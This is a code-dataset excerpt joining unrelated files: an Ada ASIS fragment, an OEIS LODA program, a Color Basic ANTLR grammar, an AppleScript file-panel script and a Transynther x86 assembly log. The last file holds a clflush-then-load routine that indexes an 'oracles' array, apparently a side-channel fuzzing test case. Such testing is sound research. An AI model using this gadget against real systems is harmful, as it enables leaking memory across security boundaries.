(Argument => D,
Outer_Call => Package_Name & "Get_Nonlimited_View");
end if;
raise;
when Ex : others =>
Report_ASIS_Bug
(Query_Name => Package_Name & "Get_Nonlimited_View",
Ex => Ex,
Arg_Element => D);
end Get_Nonlimited_View;
---------------------------
-- Has_Limited_View_Only --
---------------------------
function Has_Limited_View_Only
(Right : Asis.Compilation_Unit)
return Boolean
is
Result : Boolean := False;
begin
if Unit_Kind (Right) = A_Package
and then
not Is_Standard (Right)
then
Result := A4G.Contt.UT.Has_Limited_View_Only
(Encl_Cont_Id (Right),
Get_Unit_Id (Right));
end if;
return Result;
exception
when ASIS_Failed =>
if Status_Indicator = Unhandled_Exception_Error then
Add_Call_Information
(Outer_Call => Package_Name & "Has_Limited_View_Only");
end if;
raise;
when Ex : others =>
Report_ASIS_Bug
(Query_Name => Package_Name & "Has_Limited_View_Only",
Ex => Ex,
Arg_CU => Right);
end Has_Limited_View_Only;
--------------------------
-- Is_From_Limited_View --
--------------------------
function Is_From_Limited_View (D : Asis.Element) return Boolean is
begin
return Special_Case (D) = From_Limited_View;
end Is_From_Limited_View;
end Asis.Limited_Views;
|
oeis/243/A243659.asm | neoneye/loda-programs | 11 | 26722 | ; A243659: Number of Sylvester classes of 3-packed words of degree n.
; Submitted by <NAME>
; 1,1,5,34,267,2279,20540,192350,1853255,18252079,182924645,1859546968,19127944500,198725331588,2082256791048,21979169545670,233495834018591,2494624746580655,26786319835972799,288915128642169250,3128814683222599331,34007373443388857999,370855417735543609200,4056469336114259801032,44493182447282093145572,489264240176905205416964,5392777741699943424077660,59569577605201408866941200,659343300467162225790510200,7311608905919467554108937720,81222043411220819467583832560,903743372079067018968834089430
mov $1,1
mov $2,1
mov $3,$0
mul $0,4
add $0,1
sub $0,$3
mov $4,2
lpb $3
add $0,1
sub $3,1
mul $1,$3
mul $1,$0
add $5,$4
div $1,$5
add $2,$1
add $4,2
lpe
mov $0,$2
|
BASICLanguageParser.Grammar/ColorBasic.g4 | ssorrrell/ECB2_Lib | 0 | 7631 |
grammar ColorBasic;
options
{
language=CSharp;
}
/*
[The "BSD licence"]
Copyright (c) 2022 <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/// a program is a collection of lines
/*
Description: Grammar for Color Basic 1.2 for the TRS-80 Color Computer
Color Basic is a tiny basic created by Microsoft. Version 1.2 is copyright 1983.
It is very similar to the two prior versions. This comes primarily from the
Color Basic Unravelled series and the Color Computer Basic Manual and Quick Reference.
*/
/******************************Parser***************************************/
prog
: line+ EOF
;
// a line starts with an integer
line
: DIGIT_SEQUENCE (statement | COMMENT_BLOCK) (':' (statement | COMMENT_BLOCK))* (EOL | EOF) //comments are removed. this is what a comment line looks like
;
/****************************master statement table*************************************/
statement
: letstmt
| returnstmt
| restorestmt
| printstmt
| nextstmt
| pokestmt
| ifthenelsestmt
| ifthenelsenumstmt
| ifthenstmt
| ifnumelsenumstmt
| ifnumstmt
| ifstmt
| forstmt
| inputstmt1
| dimstmt
| gotonumstmt
| gotostmt
| gosubnumstmt
| gosubstmt
| ongotonumstmt
| ongotostmt
| ongosubnumstmt
| ongosubstmt
| readstmt
// | datastmt
| printstmt
| printtabstmt
| printhashstmt
| printatstmt
| newstmt
| stopstmt
| endstmt
| runstmt
| clearstmt
| contstmt
| liststmt
| lliststmt
| setstmt
| resetstmt
| clsstmt
| execstmt
| motorstmt
| audiostmt
| soundstmt
| cloadstmt
| cloadmstmt
| csavestmt
| csavemstmt
| skipfstmt
| openstmt
| closestmt
;
/****************************master function table*************************************/
// func_
// : STRINGLITERAL
// | signed_number
// | variableDeclaration
// | chrfunc
// | lenfunc
// | strfunc
// | midfunc
// | peekfunc
// | intfunc
// | leftfunc
// | valfunc
// | rightfunc
// | sinfunc
// | rndfunc
// | sgnfunc
// | absfunc
// | inkeyfunc
// | joystkfunc
// | eoffunc
// | pointfunc
// | memfunc
// | usrfunc
// | ('(' expression ')')
// ;
// exprs and such
// signed_number
// : ('+' | '-')? (NUMBER)
// ;
// signExpression
// : NOT+ ('+' | '-')? func_
// ;
// exponentExpression
// : signExpression ( <assoc=right> '^' signExpression)*
// ;
// multiplyingExpression
// : exponentExpression (('*' | '/') exponentExpression)*
// ;
// addingExpression
// : multiplyingExpression (('+' | '-') multiplyingExpression)*
// ;
// relationalExpression
// : addingExpression ((relop) addingExpression)?
// ;
// expression
// : func_
// | (relationalExpression ((AND | OR) relationalExpression)*)
// ;
expression
: expression (MULTIPLICATION | DIVISION) expression
| expression (ADDITION | SUBTRACTION) expression
| expression (<assoc=right> '^' expression)
| (<assoc=right> (ADDITION | SUBTRACTION) expression)
| VARIABLE_NUMBER_ARRAY
| VARIABLE_NUMBER
| DIGIT_SEQUENCE
| NUMBER
| LPAREN expression RPAREN
;
characterExpression
: characterExpression ADDITION characterExpression
| VARIABLE_STRING_ARRAY
| VARIABLE_STRING
| VARIABLE_NUMBER_ARRAY
| VARIABLE_NUMBER
| STRINGLITERAL
| LPAREN characterExpression RPAREN
;
/************************relation operations****************************/
relationalExpression
: relationalExpression logicalOperator relationalExpression
| (<assoc=right> NOT relationalExpression)
| expression relationalOperator expression
| characterExpression relationalOperator characterExpression
| LPAREN relationalExpression RPAREN
;
relationalOperator
: GTE
| LTE
| NEQ
| EQ
| LT
| GT
;
logicalOperator
: AND
| OR
;
// variableDeclaration
// : VARIABLE_NUMBER ('(' expressionList ')')*
// ;
variableList
: (VARIABLE_NUMBER_ARRAY | VARIABLE_NUMBER | VARIABLE_STRING_ARRAY | VARIABLE_STRING) (',' (VARIABLE_NUMBER_ARRAY | VARIABLE_NUMBER | VARIABLE_STRING_ARRAY | VARIABLE_STRING))*
;
// variableAssignment
// : variableDeclaration '=' expression
// ;
// expressionList
// : expression (',' expression)*
// ;
// datum
// : NUMBER
// | DATUM
// ;
/*******************functions**********************/
absfunc
: ABS LPAREN expression RPAREN
;
ascfunc
: ASC LPAREN expression RPAREN
;
sgnfunc
: SGN LPAREN expression RPAREN
;
intfunc
: INT LPAREN expression RPAREN
;
sinfunc
: SIN LPAREN expression RPAREN
;
rndfunc
: RND LPAREN expression RPAREN
;
lenfunc
: LEN LPAREN expression RPAREN
;
valfunc
: VAL LPAREN expression RPAREN
;
chrfunc
: CHR LPAREN expression RPAREN
;
midfunc
: MID LPAREN expression ',' expression ',' expression RPAREN
;
leftfunc
: LEFT LPAREN expression ',' expression RPAREN
;
rightfunc
: RIGHT LPAREN expression ',' expression RPAREN
;
strfunc
: STR LPAREN expression RPAREN
;
inkeyfunc
: INKEY
;
joystkfunc
: JOYSTK LPAREN expression RPAREN
;
eoffunc
: EOFTOKEN LPAREN expression RPAREN
;
peekfunc
: PEEK LPAREN expression RPAREN
;
pointfunc
: POINT LPAREN expression ',' expression RPAREN
;
memfunc
: MEM
;
usrfunc
: USR SINGLE_DIGIT LPAREN expression RPAREN
;
/*******************statements**********************/
letstmt
: LET? (VARIABLE_NUMBER_ARRAY | VARIABLE_NUMBER) EQ expression
| LET? (VARIABLE_STRING_ARRAY | VARIABLE_STRING) EQ characterExpression
;
dimstmt
: DIM variableList
;
// for stmt puts the for, the statment, and the next on 3 lines. It needs "nextstmt"
forstmt
: FOR (VARIABLE_NUMBER_ARRAY | VARIABLE_NUMBER) '=' expression TO expression (STEP expression)?
;
nextstmt
: NEXT (variableList)?
;
ifthenelsestmt //requires space around expression
: IF relationalExpression THEN (statement | DIGIT_SEQUENCE) ELSE (statement | DIGIT_SEQUENCE)
;
ifthenelsenumstmt //requires space around expression
: IF relationalExpression THEN (statement | DIGIT_SEQUENCE) ELSE_NUM
;
ifthenstmt //requires space around expression
: IF relationalExpression THEN (statement | DIGIT_SEQUENCE)
;
ifnumelsenumstmt //if expr then500else500
: IF relationalExpression (THEN_NUM_ELSE)
;
ifnumstmt //if expr then500
: IF relationalExpression (THEN_NUM)
;
ifstmt //if expr 500
: IF relationalExpression DIGIT_SEQUENCE
;
gotonumstmt //seperate from gotostmt in order to extract the line number
: ( GOTO_NUM
| ( GO TO_NUM ))
;
gotostmt
: ( ( GO TO | GOTO ) DIGIT_SEQUENCE )
;
gosubnumstmt //seperate from gosubstmt in order to extract the line number
: ( GOSUB_NUM
| ( GO SUB_NUM ) )
;
gosubstmt
: ( ( GO SUB | GOSUB ) DIGIT_SEQUENCE )
;
ongotonumstmt //this definition requires a space around expression
: ON expression ( GOTO_NUM | GO TO_NUM ) (',' DIGIT_SEQUENCE)*
;
ongotostmt //this definition requires a space around expression
: ON expression ( GO TO | GOTO ) DIGIT_SEQUENCE (',' DIGIT_SEQUENCE)*
;
ongosubnumstmt //this definition requires a space around expression
: ON expression ( GOSUB_NUM | GO SUB_NUM ) (',' DIGIT_SEQUENCE)*
;
ongosubstmt //this definition requires a space around expression
: ON expression ( GO SUB | GOSUB ) DIGIT_SEQUENCE (',' DIGIT_SEQUENCE)*
;
returnstmt
: RETURN
;
// datastmt
// : DATA datum+ (',' datum+)*
// ;
readstmt
: READ variableList
;
restorestmt
: RESTORE
;
newstmt
: NEW
;
endstmt
: END
;
stopstmt
: STOP
;
runstmt
: RUN
;
clearstmt
: CLEAR
;
contstmt
: CONT
;
liststmt
: LIST
;
lliststmt
: LLIST
;
// inputstmt1
// : INPUT (func_ (INPUT_COMMA func_)*)
// ;
inputstmt1
: INPUT ((STRINGLITERAL ';') | ('#' DEVICE_CASSETTE ','))? variableList
;
printstmt
: PRINT characterExpression?
;
printtabstmt
: PRINT TAB LPAREN expression RPAREN ';' expression
;
printhashstmt
: PRINT '#' (DEVICE_CASSETTE | DEVICE_PRINTER) ',' expression
;
printatstmt
: PRINT '@' expression ',' expression
;
setstmt
: SET LPAREN expression ',' expression (',' expression)+ RPAREN
;
resetstmt
: RESET LPAREN expression ',' expression RPAREN
;
clsstmt
: CLS expression
;
execstmt
: EXEC expression
;
pokestmt
: POKE expression ',' expression
;
motorstmt
: MOTOR (ON | OFF)
;
audiostmt
: AUDIO (ON | OFF)
;
soundstmt
: SOUND expression ',' expression
;
cloadstmt
: CLOAD expression
;
cloadmstmt
: CLOAD expression ',' expression
;
csavestmt
: CSAVE expression ',' expression
;
csavemstmt
: CSAVEM expression ',' expression ',' expression ',' expression
;
skipfstmt
: SKIPF expression
;
openstmt
: OPEN ('I' | 'O' ) ',' '#' (DEVICE_KEYBOARD | DEVICE_CASSETTE | DEVICE_PRINTER) ',' expression
;
closestmt
: CLOSE '#' (DEVICE_CASSETTE)?
;
/******************************Lexer***************************************/
LET //assign variables
: 'LET'
;
DIM //dim variables
: 'DIM'
;
/*******************functions**********************/
ABS //absolute value
: 'ABS'
;
ASC //get code of first character in string
: 'ASC'
;
SGN //Convert signed number into floating point number.
: 'SGN'
;
INT //Convert float to an integer
: 'INT'
;
SIN //sine wave function
: 'SIN'
;
RND //random number function
: 'RND'
;
LEN //string length function
: 'LEN'
;
VAL //convert a string to a number
: 'VAL'
;
CHR //Convert string to integer
: 'CHR$'
;
MID //return mid portion of string
: 'MID$'
;
LEFT //return left portion of string
: 'LEFT$'
;
RIGHT //return right portion of string
: 'RIGHT$'
;
STR //convert n to string
: 'STR$'
;
INKEY //get key from keyboard
: 'INKEY$'
;
JOYSTK //get the joystick axis
: 'JOYSTK'
;
EOFTOKEN //return false if there is more data on the device
: 'EOF'
;
PEEK //get the contents at the memory address
: 'PEEK'
;
POINT //returns info about the specified point on the screen
: 'POINT'
;
MEM //returns amount of free memory
: 'MEM'
;
USR //call machine language subroutine 0-9
: 'USR'
;
/*******************statements**********************/
FOR //for loop
: 'FOR'
;
TO //for to loop
: 'TO'
;
STEP //for to step loop
: 'STEP'
;
NEXT //next closing statement to loop
: 'NEXT'
;
IF //if
: 'IF'
;
THEN //if then
: 'THEN'
;
THEN_NUM //then500
: 'THEN' DIGIT_SEQUENCE
;
THEN_NUM_ELSE //then500else
: 'THEN' DIGIT_SEQUENCE 'ELSE'
;
ELSE //if then else
: 'ELSE'
;
ELSE_NUM //else500
: 'ELSE' DIGIT_SEQUENCE
;
GO //go
: 'GO'
;
GOTO //goto
: 'GOTO'
;
GOTO_NUM //goto500
: 'GOTO' DIGIT_SEQUENCE
;
TO_NUM //TO500
: 'TO' DIGIT_SEQUENCE
;
GOSUB //gosub
: 'GOSUB'
;
GOSUB_NUM //gosub500
: 'GOSUB' DIGIT_SEQUENCE
;
SUB //sub
: 'SUB'
;
SUB_NUM //sub500
: 'SUB' DIGIT_SEQUENCE
;
ON //on gosub
: 'ON'
;
OFF //off token
: 'OFF'
;
RETURN //return from a gosub
: 'RETURN'
;
DATA //define data elements
: 'DATA'
;
RESTORE //restore the data pointer back
: 'RESTORE'
;
READ //read from the data statement
: 'READ'
;
NEW //erase basic program, clear variables space,..
: 'NEW'
;
END //end program
: 'END'
;
STOP //stop program execution
: 'STOP'
;
RUN //run program
: 'RUN'
;
CONT //continue program execution
: 'CONT'
;
LIST //list program to the screen
: 'LIST'
;
LLIST //list program to printer
: 'LLIST'
;
CLEAR //erase all variables, initialize pointers,..
: 'CLEAR'
;
INPUT //input
: 'INPUT'
;
PRINT //print@ or print# or print or print tab
: 'PRINT'
;
TAB //print tab(22);"hello" move the cursor to the tab position
: 'TAB'
;
SET //set(x,y,c) c is optional set a point on the screen
: 'SET'
;
RESET //reset(x,y) reset a point on the screen
: 'RESET'
;
CLS //cls n set background color of screen
: 'CLS'
;
EXEC //transfer control to a machine language address
: 'EXEC'
;
POKE //put a number in an address
: 'POKE'
;
MOTOR //turn the cassette on or off
: 'MOTOR'
;
AUDIO //connect cassette output to the screen
: 'AUDIO'
;
SOUND //play specified tone and duration
: 'SOUND'
;
CLOAD //load program from cassette
: 'CLOAD'
;
CSAVE //save program to cassette
: 'CSAVE'
;
CLOADM //load machine language program from cassette
: 'CLOADM'
;
CSAVEM //save machine language program to the cassette
: 'CSAVEM'
;
SKIPF //skip to the next program on the cassette
: 'SKIPF'
;
OPEN //open file for data transmission
: 'OPEN'
;
CLOSE //close acces to the specified device
: 'CLOSE'
;
/*******************small tokens**********************/
DIGIT_SEQUENCE
: DIGIT+
;
SINGLE_DIGIT
: DIGIT
;
DEVICE_KEYBOARD
: '0'
;
DEVICE_CASSETTE
: '-1'
;
DEVICE_PRINTER
: '-2'
;
DEVICE_RS232
: '-3'
;
LPAREN
: '('
;
RPAREN
: ')'
;
OR
: 'OR'
;
AND
: 'AND'
;
NOT
: 'NOT'
;
EQ //equals sign
: '='
;
NEQ
: LT GT
| GT LT
;
GTE
: GT EQ
| EQ GT
;
LTE
: LT EQ
| EQ LT
;
LT
: '<'
;
GT
: '>'
;
ADDITION
: '+'
;
SUBTRACTION
: '-'
;
MULTIPLICATION
: '*'
;
DIVISION
: '/'
;
VARIABLE_NUMBER
: LETTER (LETTER | DIGIT)*
;
VARIABLE_STRING
: VARIABLE_NUMBER '$'
;
VARIABLE_NUMBER_ARRAY
: VARIABLE_NUMBER LPAREN DIGIT_SEQUENCE (',' DIGIT_SEQUENCE)* RPAREN
;
VARIABLE_STRING_ARRAY
: VARIABLE_STRING LPAREN DIGIT_SEQUENCE (',' DIGIT_SEQUENCE)* RPAREN
;
LETTER
: [A-Z]
;
DATUM //i think this should be actually much more inclusive - todo redo rule
: [a-zA-Z0-9]
;
STRINGLITERAL
: '"' ~["\r\n]* '"'
;
NUMBER
: ( DIGIT* '.' DIGIT* | DIGIT* '.'? DIGIT* ('E' ('+' | '-')? DIGIT+) )
;
COMMENT_BLOCK
: COMMENT
;
SKIP_
: ( SPACES ) -> channel (HIDDEN)
;
EOL
: '\r'? '\n'
;
/*******************fragments**********************/
fragment
COMMENT //match: {comment stuff '\r\n'} and leave \r\n in the stream
: ('\'' | 'REM') ~[\r\n]*
;
fragment
SPACES //match sapce and tab
: [ \t]+
;
fragment
DIGIT //match zero decimal digit
: [0-9]
; |
OpenPanel.applescript | Red-Menace/AppleScriptObjC-Stuff | 2 | 4509 |
use AppleScript version "2.4" -- Yosemite (10.10) or later
use framework "Cocoa"
use scripting additions
# initial checkbox button properties
property buttonList : [¬
{title:"Select Folders", frame:[{5, 5}, {120, 20}], selector:"canChooseDirectories", value:true}, ¬
{title:"Select Files", frame:[{5, 30}, {150, 20}], selector:"canChooseFiles", value:true}, ¬
{title:"Show Packages", frame:[{150, 5}, {120, 20}], selector:"treatsFilePackagesAsDirectories", value:false}, ¬
{title:"Show Hidden", frame:[{150, 30}, {120, 20}], selector:"showsHiddenFiles", value:false}]
property defaultDirectory : POSIX path of (path to desktop) -- a place to start
property setup : missing value
global response, newer
on run -- run from the Script Editor or app double-clicked
initialize()
my performPanel:me
end run
on open someItems -- items dropped onto the app
initialize()
processItems(someItems)
end open
on initialize() -- set stuff up when first run
if setup is not missing value then return
set newer to (system attribute "sys2") ≥ 12 -- system version
set mainMenu to current application's NSApplication's sharedApplication's mainMenu
set fileMenu to (mainMenu's itemAtIndex:1)'s submenu
set openItem to fileMenu's indexOfItemWithTitle:"Open…"
if openItem as integer is -1 then -- no "Open…" menuItem, so add one to the app
set menuItem to current application's NSMenuItem's alloc's ¬
initWithTitle:"Open…" action:"performPanel:" keyEquivalent:"o"
menuItem's setTarget:me
fileMenu's addItem:menuItem
end if
end initialize
to processItems(value) -- handle items to open (example just shows dropped/selected file paths)
if value is missing value then return
set tempTID to AppleScript's text item delimiters
set AppleScript's text item delimiters to return
set output to value as text
set AppleScript's text item delimiters to tempTID
display dialog output with title "Result" buttons {"OK"}
end processItems
to performPanel:sender -- run the panel on the main thread (so it can also be used in the Script Editor)
set response to missing value
my performSelectorOnMainThread:"getFileItems" withObject:(missing value) waitUntilDone:true
processItems(response)
end performPanel:
to getFileItems() -- do the open panel thing
tell current application's NSOpenPanel's openPanel()
its setFloatingPanel:true
its setTitle:"Panel Test"
its setPrompt:"Choose" -- the button name
its setMessage:"Choose some stuff:"
if setup is missing value then -- only use default on the first run
its setDirectoryURL:(current application's NSURL's alloc's initFileURLWithPath:defaultDirectory)
set setup to true
end if
repeat with aButton in buttonList
(its setValue:(aButton's value) forKey:(aButton's selector))
end repeat
my makeAccessory(it)
its setAllowsMultipleSelection:true
set theResult to its runModal() -- show the panel
if theResult is (current application's NSFileHandlingPanelCancelButton) then return -- cancel button
set response to its URLs as list -- pass on the list of file objects
end tell
end getFileItems
to makeAccessory(panel) -- make an accessory view for the panel
tell (current application's NSBox's alloc's initWithFrame:[{0, 0}, {285, 70}])
its setTitlePosition:0
repeat with aButton in buttonList -- add some buttons
set check to my makeCheckbox(aButton's title, aButton's frame)
set check's state to aButton's value
(its addSubview:check)
end repeat
panel's setAccessoryView:it
end tell
end makeAccessory
to makeCheckbox(title, frame) -- make a checkbox button
if newer then -- available 10.12+
set button to current application's NSButton's checkboxWithTitle:title target:me action:"doCheckBox:"
button's setFrame:frame
else -- old style
set button to current application's NSButton's alloc's initWithFrame:frame
button's setButtonType:(current application's NSSwitchButton)
button's setTitle:title
button's setTarget:me
button's setAction:"doCheckBox:"
end if
return button
end makeCheckbox
on doCheckbox:sender -- handle checkbox changes in the accessoryView
tell sender's |window|() -- 'window' is a reserved AppleScript term
repeat with aButton in buttonList
if aButton's title is (sender's title as text) then
(its (parentWindow's setValue:(sender's intValue as boolean) forKey:(aButton's selector)))
end if
end repeat
display() -- update
end tell
end doCheckbox:
on quit
set setup to missing value -- reset for next time
continue quit
end quit
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_829_1589.asm | ljhsiun2/medusa | 9 | 177180 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x10328, %rbx
nop
nop
nop
nop
inc %rdx
mov (%rbx), %di
nop
nop
nop
nop
dec %rdx
lea addresses_WC_ht+0x1e362, %rsi
lea addresses_D_ht+0x1ab28, %rdi
nop
nop
nop
and %rax, %rax
mov $121, %rcx
rep movsq
add %rcx, %rcx
lea addresses_D_ht+0x2328, %rdi
nop
nop
nop
nop
and $46921, %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%rdi)
add %rcx, %rcx
lea addresses_UC_ht+0x1c4e8, %rsi
lea addresses_A_ht+0x6328, %rdi
cmp %rbx, %rbx
mov $75, %rcx
rep movsl
and $45880, %rdi
lea addresses_normal_ht+0x2b28, %rcx
nop
nop
cmp %rax, %rax
movl $0x61626364, (%rcx)
nop
nop
nop
add $59077, %rbx
lea addresses_normal_ht+0x11728, %rsi
lea addresses_D_ht+0x1a728, %rdi
nop
nop
nop
nop
nop
and %rdx, %rdx
mov $78, %rcx
rep movsb
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0xc9a8, %rdx
nop
nop
nop
nop
nop
add %rbp, %rbp
mov (%rdx), %rax
nop
nop
nop
nop
nop
cmp $16424, %rsi
lea addresses_WT_ht+0x17818, %rcx
nop
sub $59691, %rsi
vmovups (%rcx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rdi
and %rdx, %rdx
lea addresses_WC_ht+0x12e18, %rbx
nop
sub $21670, %rax
movb $0x61, (%rbx)
nop
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x1d704, %rsi
lea addresses_D_ht+0x1327f, %rdi
nop
nop
add $42406, %rbp
mov $127, %rcx
rep movsb
dec %rbp
lea addresses_normal_ht+0x8b28, %rsi
nop
nop
nop
nop
nop
sub $48632, %rdi
movb (%rsi), %al
nop
nop
nop
sub $5333, %rbx
lea addresses_normal_ht+0x19ecc, %rsi
lea addresses_A_ht+0x1ee28, %rdi
nop
nop
nop
nop
nop
cmp %r11, %r11
mov $111, %rcx
rep movsl
xor $272, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0x1bb28, %rax
nop
nop
nop
nop
and %rdi, %rdi
mov $0x5152535455565758, %r9
movq %r9, %xmm2
vmovups %ymm2, (%rax)
inc %rdi
// REPMOV
lea addresses_normal+0x149a, %rsi
lea addresses_WC+0x188a8, %rdi
and %rdx, %rdx
mov $22, %rcx
rep movsw
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_PSE+0x15728, %rsi
nop
nop
nop
nop
and $36400, %rax
movb $0x51, (%rsi)
nop
inc %rdx
// Faulty Load
lea addresses_WC+0x1bb28, %rax
clflush (%rax)
nop
nop
and $44002, %rsi
movb (%rax), %r9b
lea oracles, %rcx
and $0xff, %r9
shlq $12, %r9
mov (%rcx,%r9,1), %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'58': 829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 